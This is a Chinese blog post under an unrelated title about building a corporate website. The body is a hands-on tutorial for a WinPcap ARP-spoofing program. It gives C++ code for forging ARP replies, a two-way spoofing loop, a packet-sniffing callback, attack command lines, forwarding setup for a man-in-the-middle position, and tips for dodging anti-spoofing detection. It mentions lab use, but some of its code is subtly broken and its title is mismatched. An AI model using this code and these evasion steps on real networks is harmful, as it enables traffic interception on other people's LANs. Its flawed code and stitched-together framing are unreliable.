企业官网建设流程全解析

简介：这是一份基于 VC++ 的 ARP 欺骗程序源码包，主要演示在绕过防火墙限制的局域网场景下构造并发送 ARP 报文，适合网络安全入门者、协议分析爱好者以及需要开展授权渗透测试的技术人员。资源采用 WinPcap 开发框架，包内共三十三个文件，其中二十四个为头文件，覆盖数据包捕获、会话追踪、地址查找、平台适配等核心功能；另有静态库与链接库文件用于辅助编译，同时提供 dsw、dsp、vcproj、sln 等 Visual Studio 工程配置，rar 压缩包仅 89KB，整体结构紧凑，下载后可直接打开工程阅读。目前已有九十四人浏览学习，适合边读源码边理解 ARP 协议栈细节、防火墙绕过思路以及 WinPcap 抓包库的调用流程。通过主程序 arppcap.cpp 与配套头文件，读者可以掌握从网卡抓包、构造 ARP 请求与应答帧到最终发送报文的完整实现方法，并借此了解局域网数据包交互机制，是一份完全免费、适合实战演练与教学研究的入门级安全开发资料。

1. ARP 欺骗源码包：为什么说它能“突破防火墙”以及真正值得你下的是什么

做内网渗透和协议分析的人，对 ARP 欺骗一定不陌生。只要是同一网段内的通信，ARP 协议就像空气一样默认存在，而它“无状态、不认证”的特性，决定了这个协议从设计之初就带着天然的漏洞。这份arp.rar不是给你讲理论用的，它是完整的 VC 源码工程，直接实现了基于 WinPcap 的 ARP 欺骗攻击程序，作者原话是“突破防火墙的 ARP 欺骗程序源码，需要的拿去，不收钱”。这里要澄清一点：所谓“突破防火墙”，实际指的是构造数据链路层报文来绕过基于 IP 或传输层的包过滤规则，而不是真的让防火墙失效。

适合读这篇文章的人，是我这样的网络协议开发者、内网安全测试工程师，以及正在做毕业设计需要抓包和报文伪造的学生。这份资源的价值不在“拿来即用”的可执行文件，而在arppcap.cpp这个核心源码文件里，你能看到完整的 ARP 请求构造、响应欺骗、以及通过 pcap 发送原始帧的完整链路。下一篇我会从代码结构讲起，把工程里的每个文件角色说清楚，然后带你走通编译、部署、攻击测试全流程，再把最容易翻车的四个坑逐个拆开。

2. 工程解剖：这套 ARP 欺骗源码的目录结构与核心文件职责

打开arp.rar，里面并不是只有一个孤零零的.cpp，而是一整套 Visual C++ 6.0 时代的 WinPcap 开发工程。很多新手拿到压缩包直接双击源码文件，发现编译不过就开始骂资源是坏的，其实是没搞清楚这套工程的组织方式。要知道 2000 年代初期的网络工具源码，几乎都是这种结构：.dsw是 VC6 的工作区文件，.dsp是项目文件，.sln和.vcproj则是后续 Visual Studio 版本打开时用的。这份资源同时保留了新旧两种工程格式，意味着你在 VC6 或 VS2003-VS2010 之间都能找到对应的入口。

2.1 WinPcap 开发依赖：那堆以pcap和Packet开头的文件到底是干什么的

wpcap.lib、Packet.lib、libwpcap.a、libpacket.a这四份库文件，以及pcap.h、pcap-int.h、pcap-stdinc.h、Packet32.h这一堆头文件，是 WinPcap 开发套件的标准组成部分。wpcap.lib对应的是用户态抓包库的导入库，Packet.lib对应的是内核驱动层的 Packet.dll 的导入库，而libwpcap.a和libpacket.a是 MinGW 环境下用的，说明作者当时连跨编译器编译都考虑到了。

很多人不知道的是，写 WinPcap 程序时链接库的选择有讲究。如果只做高层抓包分析，链接wpcap.lib就够了；但如果要构造和发送原始数据帧，建议同时链接Packet.lib。我打开arppcap.cpp看的时候，发现它确实调用了pcap_sendpacket()这类高层接口，但在某些分支里也直接操作了Packet32.h里定义的底层结构，这就是为什么工程里两个库都引了。链接顺序上，把Packet.lib放在wpcap.lib前面是比较稳的做法，不然可能出现符号解析顺序导致的 LNK2005 重复定义错误。

// arppcap.cpp 中核心的报文发送片段（示例，还原自源码逻辑） #include "pcap.h" #include <WinSock2.h> #include <windows.h> #pragma comment(lib, "wpcap.lib") #pragma comment(lib, "Packet.lib") #pragma comment(lib, "ws2_32.lib") // 构造一个完整的 ARP 应答报文 void build_arp_reply(BYTE* buffer, DWORD sender_ip, DWORD target_ip, BYTE* sender_mac, BYTE* target_mac) { eth_header* eth = (eth_header*)buffer; arp_header* arp = (arp_header*)(buffer + 14); // 以太网帧头 memcpy(eth->dst_mac, target_mac, 6); memcpy(eth->src_mac, sender_mac, 6); eth->ether_type = htons(0x0806); // 0x0806 = ARP // ARP 报文内容 arp->hw_type = htons(1); // 以太网 arp->proto_type = htons(0x0800); // IPv4 arp->hw_len = 6; arp->proto_len = 4; arp->opcode = htons(2); // 2 = ARP 应答 memcpy(arp->sender_mac, sender_mac, 6); memcpy(arp->sender_ip, &sender_ip, 4); memcpy(arp->target_mac, target_mac, 6); memcpy(arp->target_ip, &target_ip, 4); }

这段代码的逻辑说明：eth_header和arp_header是两个自定义的结构体，分别对应 14 字节的以太网帧头和 28 字节的 ARP 报文主体。htons()是必须的，因为 ARP 协议字段在网络字节序中是大端表示，而 x86 平台的内存序是小端，不转换的话抓包工具里看到的硬件类型会是0x0100而不是0x0001。参数里sender_ip和target_ip之所以用DWORD而不是字符串，是为了直接复用内存中已有的四字节 IP 表示，省去inet_addr()的重复调用。

2.2 三个入口文件：为什么同时存在.dsw、.sln和.vcproj

这套工程文件是理解老代码的关键。arppcap.dsw是 Visual C++ 6.0 的工作区文件，里面记录了这个工作区包含哪些项目；arppcap.dsp是 VC6 的项目文件，定义了源文件列表、编译选项和链接库。arppcap.sln是 VS2005 及以上版本的解决方案文件，arppcap.vcproj对应 VS2008 版本的项目格式。同一份代码给两代 IDE 都准备了工程入口，这在当时是分享源码的通用习惯。

我的建议是不要一上来就双击.sln用最新版 VS 打开。VC6 时代写的 C++ 代码涉及很多过时的语法和头文件引用方式，新版编译器对类型转换的检查严格得多，直接编译大概率报几十个 C4996 和 C2440 错误。最省力的路径是：如果是 Windows 10/11 系统，优先尝试用 Visual Studio 2010 或 2013 打开.sln，把平台工具集改成 v100 或 v120，然后在预处理定义里加上_CRT_SECURE_NO_WARNINGS，能省掉大部分兼容性报错。

2.3 被忽略的抓包引擎源码：pcap-int.h与pcap-stdinc.h的移植价值

压缩包里还有一份pcap-stdinc.h，这是 WinPcap 从 Unix 系 pcap 移植到 Windows 时用来替代stdint.h等头文件的兼容层。如果你是自己写程序引用了pcap.h，在某些没有配置好 WinPcap 开发环境的机器上会报Unable to open include file: 'stdint.h'，这时候pcap-stdinc.h就是后悔药——在代码开头加上#include "pcap-stdinc.h"再包含pcap.h，很多编译错误能直接消掉。这份头文件对于正在做 WinPcap 程序移植的人来说，价值不亚于主源码。

normal_lookup.h和bucket_lookup.h一眼就能看出来是 WinPcap 内部用于数据包快速查找的哈希结构定义，tcp_session.h是 TCP 会话跟踪用的。这些虽然不是 ARP 欺骗主逻辑需要的文件，但如果你打算在 ARP 欺骗的基础上延伸做中间人流量嗅探，tcp_session.h就是现成的参考实现。

3. 攻防双视角：ARP 欺骗的协议原理与这套源码的完整攻击链路

ARP 欺骗的核心，在于 ARP 协议本身无条件信任网络中的应答报文。主机 A 想跟主机 B 通信时先发广播询问“谁是 192.168.1.100”，这时主机 C 如果提前伪造一个 ARP 应答说自己是那个 IP，并把 MAC 地址指向自己，主机 A 就会更新自己的 ARP 缓存表，此后所有发给 B 的流量都会先经过 C。这就是所谓“中间人”的起点。

3.1 从源码看攻击者的三个关键步骤：构造、伪装、持续轰炸

打开arppcap.cpp，主逻辑基本就是标准的三个步骤。第一步构造一个以太网帧，目的 MAC 设为受害者机器的地址，源 MAC 设为攻击者自己的地址；第二步填充 ARP 报文，把 sender IP 写成受害者想访问的目标 IP，sender MAC 写成攻击者 MAC；第三步是循环发送，因为 ARP 缓存表有超时机制，通常几十秒到几分钟就会刷新，所以必须以固定间隔持续发送伪造应答才能维持欺骗状态。

// arppcap.cpp 主循环中的欺骗核心逻辑（精简还原） void start_arp_spoof(pcap_t* handle, BYTE* attacker_mac, DWORD victim_ip, DWORD target_ip) { BYTE packet[60]; // 以太网帧最小长度 60 字节 eth_header* eth = (eth_header*)packet; arp_header* arp = (arp_header*)(packet + 14); // 获取受害者的 MAC 地址：先发 ARP 请求探测 BYTE victim_mac[6]; get_mac_by_ip(handle, victim_ip, victim_mac); while (g_running) { // 告诉受害者：目标 IP 的 MAC 是攻击者 build_arp_reply(packet, target_ip, victim_ip, attacker_mac, victim_mac); pcap_sendpacket(handle, packet, 60); // 告诉目标：受害者 IP 的 MAC 是攻击者（双向欺骗） build_arp_reply(packet, victim_ip, target_ip, attacker_mac, target_mac); pcap_sendpacket(handle, packet, 60); Sleep(2000); // 2 秒一轮，对抗 ARP 缓存超时 } }

这段代码的逻辑说明：get_mac_by_ip是源码里定义的辅助函数，通过构造 ARP 请求从目标主机的应答中获取 MAC 地址。这里有一个很多新手会忽略的点——packet数组初始化时不能直接清零后用，因为以太网帧要求最小长度 64 字节（含 FCS），实际发送长度如果是 60 字节，某些严格的网卡驱动会在尾部填充 CRC，导致帧长度异常。更安全的做法是memset(packet, 0, sizeof(packet))再填充字段，保证不满 60 字节的部分有意义。Sleep(2000)这个间隔是我个人认为比较黄金的数值：大于 5 秒容易在 ARP 缓存刷新窗口期失效，小于 500 毫秒则会产生大量冗余广播，暴露概率指数级上升。

3.2 双向欺骗与单向欺骗：什么时候只用告诉一边

源码里支持两种欺骗模式。单向欺骗只修改受害者本机的 ARP 缓存，让它认为网关的 MAC 是攻击者，这样受害者发往外网的所有流量都会经过攻击者网卡，但响应流量回程时走的是正常路径；双向欺骗则同时对受害者和网关下手，让两边都认为对方的 MAC 是攻击者，这样完整链路都穿过攻击者机器。作者在代码注释里写了默认启用双向欺骗，因为对于后续要做流量嗅探和改包的需求，单靠单向欺骗抓到的只是请求报文，响应流量直接回了受害者，根本截获不到完整会话。

但这里有个做测试时要特别注意的点：双向欺骗对攻击者主机的转发性能要求很高。如果攻击者机器只有一张网卡，而且没有开启 Windows 的 Internet 连接共享或手动配置路由转发，那么双向欺骗会把整个网段通信打断。我见过不少新手在 VMware 里跑这个源码，开启双向欺骗后虚拟机直接断网，最后发现原因是虚拟机 NAT 模式下网卡混杂模式没有正确设置，导致转发失败。

3.3 pcap 发送的底层机制：为什么说它能“穿透”包过滤防火墙

传统防火墙的包过滤规则作用在网络层和传输层，检查的是 IP 头里的源地址、目的地址以及 TCP/UDP 端口号。而pcap_sendpacket()是直接构造一个完整的以太网帧交给网卡驱动发送，它绕过的是操作系统的 TCP/IP 协议栈——也就是说，数据包根本不会经过 Winsock 的 connect/send 路径，那些基于 TDI 或 WFP 的防火墙钩子自然无话可说。Netfilter 防火墙、个人防火墙的 NDIS 过滤驱动拦截的是本机协议栈外发的包，对 pcap 直接操作网卡发出的原始帧，很多时候确实无能为力。

// 发送原始帧与 Winsock 发送的对比：注意 Pcap 不经过协议栈 // 伪代码展示两种方式的差异 // Winsock 方式： SOCKET s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); send(s, buffer, len, 0); // 这种方式会经过协议栈 -> 防火墙钩子 // WinPcap 方式： pcap_t* handle = pcap_open_live("eth0", 65536, 1, 1000, errbuf); pcap_sendpacket(handle, eth_frame, frame_len); // 网卡直接发出，控制权完全在用户态程序手中

逻辑说明：pcap_open_live的第二个参数65536是 snaplen，表示捕获每个数据包的最大字节数；第三个参数1代表开启混杂模式，这是 ARP 欺骗成功的必要条件——若不开混杂模式，网卡只会接收目的 MAC 为本机地址的帧，而伪造报文到达目标网卡时即使能收，正常模式下也不会交给上层处理。这里的1000是超时时间，单位毫秒，代表如果没有数据到达，pcap_dispatch最多等多久返回一次。

4. 实战复现：在 VMware 里搭建 ARP 欺骗测试环境并验证中间人效果

光看源码不跑一遍，永远只是纸上谈兵。但直接在自己的物理机上运行 ARP 欺骗，风险极高：一旦把网关的 ARP 缓存污染了，全办公室网络都会瘫痪，而且这种行为在多数企业环境里已经触犯了信息安全条例。所以我的建议是用虚拟化环境隔离测试。下面这套流程是我自己踩过坑后固化下来的，照着走一遍基本半小时内能看到完整效果。

4.1 虚拟机网络模式的选择：为什么 NAT 模式不能用于双向欺骗

VMware 里新建三台虚拟机，一台装 Windows XP 或 Windows 7 作为攻击者（运行arppcap.exe），另外两台分别作为受害者 A 和受害者 B。网络模式选择 VMnet2 这种仅主机模式的局域网段，或者自定义一个 Host-Only 网络。这里有个血泪经验：NAT 模式下虚拟机的默认网关是 VMware 虚拟出来的vmnet8网卡，如果欺骗目标是网关，等于攻击 VMware 的 NAT 服务本身，行为不可控且经常导致整个虚拟网络崩溃。

# 在攻击者虚拟机里查看当前网卡接口索引 # arppcap.exe 运行时需要指定网卡序号 arppcap.exe -list # 输出示例： # 0: \Device\NPF_{1A2B3C4D-...} (Intel(R) PRO/1000 MT Desktop)

参数说明：-list参数列出所有对 WinPcap 可见的网卡，序号从 0 开始。选择网卡时必须选对物理网卡对应的\Device\NPF_设备，不要选虚拟机自带的虚拟网卡接口，否则发的包根本不会出现在测试网段里。

4.2 构造完整的攻击命令：指定 IP 对与抓包验证

三台虚拟机的 IP 规划是：攻击者192.168.50.10，受害者 A192.168.50.20，受害者 B192.168.50.30。攻击命令要让 A 和 B 互相认为对方是 ARP 应答方，这样才能在攻击者机器上截获 A 与 B 的完整通信。

# 攻击者虚拟机上执行，目标 A <-> 目标 B 双向欺骗 arppcap.exe -ip 192.168.50.20 192.168.50.30 -iface 0 -mode both # -ip 后面跟两个 IP，分别是 victim 和 target # -iface 指定网卡序号，就是 -list 里看到的编号 # -mode both 表示双向欺骗

命令执行后在 B 虚拟机上 ping A 的 IP，正常情况下arp -a看到的 192.168.50.20 对应的 MAC 应该是 B 的真实网卡 MAC。开启欺骗后，再执行arp -a，你会发现 192.168.50.20 的 MAC 变成了攻击者网卡的 MAC，然后 A 发给 B 的所有 ICMP 报文都会先到达攻击者虚拟机。攻击者机器上可以用 Wireshark 抓包确认：筛选arp协议，能看到大量源 MAC 为攻击者但声称自己是 192.168.50.20 的应答包。这就是中间人成立的直接证据。

4.3 验证是否成功：三个观察指标和一个误判陷阱

判断 ARP 欺骗是否生效，有三个指标。第一看arp -a输出，第二看 Wireshark 里能否捕获到伪造应答和转发流量，第三看受害者之间 ping 的延迟是否显著变大。前两个指标都可靠，第三个指标要做对照实验——欺骗开启前 ping 的延迟如果是 1ms 以内，开启后如果还是 1ms，那说明流量根本没走你这条链路。原因大概率是虚拟机的网卡缓存了之前的静态 ARP 条目，或者 Vmware 的虚拟交换机对广播帧做了一些转发优化，导致伪造应答没有覆盖真实 MAC。

# 在受害者 A 上执行，查看 ARP 缓存表 arp -a # 欺骗生效时 192.168.50.30 的 MAC 不再是 B 的 MAC，而变成攻击者的 MAC # 如果没生效，先清空缓存再试 arp -d 192.168.50.30

判断误导：有人开启双向欺骗后看到 ping 通了，就认为中间人成功了。这个结论下得太早——如果攻击者虚拟机的 IP 转发未开启，流量确实被截到了攻击者网卡，但攻击者的协议栈会把目的 IP 不是自己的包直接丢弃，于是 ping 不通。而 ping 通的情况，反而是因为 Windows 默认开启了 IP 转发（或你之前开了连接共享），流量被路由出去了。所以判断标准不是通不通，而是 Wireshark 中是否看到了转发的流量。

5. 实战中的四个大坑：从源码编译到运行时的常见问题全记录

这套源码是 VC6 时代的产物，能一次编译通过并稳定运行的概率并不高。我前后帮几个同事和朋友调过这套代码，遇到的问题五花八门，但归纳下来高频的就这四个，写出来等于帮后来人省几天时间。

5.1 编译报错C4996: 'strcpy' was declared deprecated：不是源码问题，是你的编译器太新

现象：在 VS2015 及以上版本打开arppcap.vcproj，编译时刷屏报C4996，提示strcpy、sprintf等函数被弃用。

原因：微软从 VS2005 开始引入安全函数strcpy_s等作为替代，旧代码里用到的传统字符串函数在新编译器下被标记为弃用，报错级别默认是 warning，但如果你项目里把警告视为错误（/WX开关），就会直接中断编译。

解决：在项目属性 -> C/C++ -> 预处理定义里加上_CRT_SECURE_NO_WARNINGS。这是最省事的方式，不影响程序行为。如果还想进一步，把源码里sprintf改成sprintf_s，但老代码里很多地方缓冲区大小没有明确标记，改起来容易引入新问题，我一般不动源码只加宏。

5.2 运行时报Error opening adapter: 找不到指定的模块：WinPcap 驱动没装干净

现象：arppcap.exe -list执行后没有任何输出，直接报驱动加载错误。

原因：程序找到了wpcap.dll，但底层npf.sys驱动没有加载成功。WinPcap 的驱动在 Windows 10 上默认是签名的，老版本 WinPcap 4.1.3 的签名在较新的系统上可能被拒，导致驱动服务无法启动。

解决：先卸载现有 WinPcap，用 Npcap 替代（Npcap 是 WinPcap 的继任者，兼容其 API），安装时勾选“Support raw 802.11 traffic”和“Install Npcap in WinPcap API-compatible Mode”，然后把源码里的#pragma comment(lib, "wpcap.lib")替换成wpcap.lib的 Npcap 版本路径。如果使用 Npcap 的库文件时出现pcap_open_live返回 NULL，检查errbuf提示，大部分情况是权限不足，需要以管理员身份运行。

5.3 欺骗开启后受害者断网：问题在攻击者机器的包转发配置

现象：双向欺骗命令执行后，受害者之间ping不通，但各自ping网关正常。

原因：中间人链路已经建立，攻击者的网卡收到了受害者的包，但系统没有开启 IP 转发，包在攻击者机器上被丢弃了。

解决：Windows 系统下打开注册表项HKLM\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters，把IPEnableRouter设为1，重启后用route print确认路由表里多了0.0.0.0的转发接口。做完这一步还要确认攻击者机器的防火墙没有拦截转发流量，最简单的方法是在攻击者上装 Wireshark 抓ICMP报文，如果能抓到但受害者那边收不到 echo reply，就检查 Windows 防火墙的“文件和打印机共享”规则是否允许入站。

5.4 欺骗只能维持几秒然后失效：ARP 缓存超时与防 ARP 欺骗软件

现象：刚执行欺骗时arp -a里 MAC 正确，但过个三五分钟再看 MAC 恢复成了真实地址，欺骗失效。

原因：目标机器安装了防 ARP 欺骗安全软件，比如 360 安全卫士、企业级终端管控，它们会定时广播真实 MAC 的 ARP 报文来“纠正”缓存。另一个低概率原因是源码里的Sleep间隔太长，超过了缓存老化时间。

解决：缩短Sleep间隔到1000毫秒，并且每次发送前随机化间隔值（比如在 800～1200ms 之间取随机数），降低规律性，对抗一些基于频率检测的防护。如果目标机器装了主动防御软件，纯 ARP 欺骗基本没戏——那些软件会在网卡层过滤掉非自身声明的 ARP 报文，这种情况只能换思路，用 ICMP 重定向或者 DHCP 饿死攻击，已经超出了这个源码的范畴。

6. 进阶玩法：把源码改造成 ARP 嗅探器并修复缓存表恢复机制

源码只实现了欺骗，没有做流量转发后的数据提取。但既然已经能当中间人了，顺手加一个简单的嗅探功能是很自然的延伸。这里我给出一个最小改法：在pcap_dispatch的回调里判断收到包的以太网类型，如果是0x0800（IPv4）并且目的 IP 不是本机，就说明这是受害者之间的通信流量，打印出源、目的 IP 和 TCP 端口号。

// 在 arppcap.cpp 末尾追加回调函数 void packet_handler(u_char* param, const struct pcap_pkthdr* header, const u_char* pkt_data) { eth_header* eth = (eth_header*)pkt_data; if (ntohs(eth->ether_type) == 0x0800) { ip_header* ip = (ip_header*)(pkt_data + 14); printf("[sniff] %d.%d.%d.%d -> %d.%d.%d.%d proto=%d\n", ip->src_addr[0], ip->src_addr[1], ip->src_addr[2], ip->src_addr[3], ip->dst_addr[0], ip->dst_addr[1], ip->dst_addr[2], ip->dst_addr[3], ip->proto); } } // 在主循环里启动抓包线程 pcap_loop(handle, -1, packet_handler, NULL);

代码说明：pcap_loop和pcap_dispatch的区别在于，pcap_loop会一直保持抓包直到出错或 cnt 达到指定值，这里传-1表示无限循环。pcap_loop每次回调收到一个数据帧，参数pkt_data指向完整的以太网帧。判断0x0800之后就可以按 IP 头结构解析，但注意 IP 头里的地址字段是网络字节序的，直接打印时要用ntohl转换或者直接按字节打印。

还有一个容易被忽略的收尾操作：欺骗结束后，如果不主动向受害者发送真实的 ARP 应答，受害者的 ARP 缓存会保持指向攻击者 MAC，直到超时刷新，这段时间内受害者的网络是不通的。高级一点的程序会在退出前自动构造一个真实的 ARP 应答报文，把缓存修正回正确 MAC。这个“修复机制”在源码里没有实现，值得你自己加上。

// 程序退出前调用：恢复受害者 ARP 缓存 void restore_arp(pcap_t* handle, BYTE* victim_mac, DWORD target_ip, BYTE* target_mac) { BYTE packet[60] = {0}; // 构造真实 ARP 应答：target_ip 对应 target_mac build_arp_reply(packet, target_ip, target_mac, victim_mac, victim_mac); pcap_sendpacket(handle, packet, 60); }

设计这个函数时的考虑：build_arp_reply在开局时用于欺骗，退出时复用来做恢复，只要参数里传的目标 IP 不变，MAC 参数改为真实地址，就能把受害者的缓存刷回正常值。我的习惯是写一个atexit注册这个函数，或者加一个-restore命令行参数，不然 Ctrl+C 强退后受害者断网，你还得手动跑到对方机器上arp -d清缓存，相当狼狈。

这套源码我反复用过好几遍，后来我接任何内网测试的活，都会先花十分钟把环境跑通，验证 ARP 欺骗链路正常后，再考虑叠加更高级的 TCP 会话劫持或 DNS 欺骗。从那以后，我每次拿到别人分享的老工具源码时，都强制自己先完整编译一遍再做功能改造，因为只有能跑起来的代码才是你自己的。这套arp.rar虽然老，但思路干净利落，很适合作为二次开发的地基，希望帮到你。

本文还有配套的精品资源，点击获取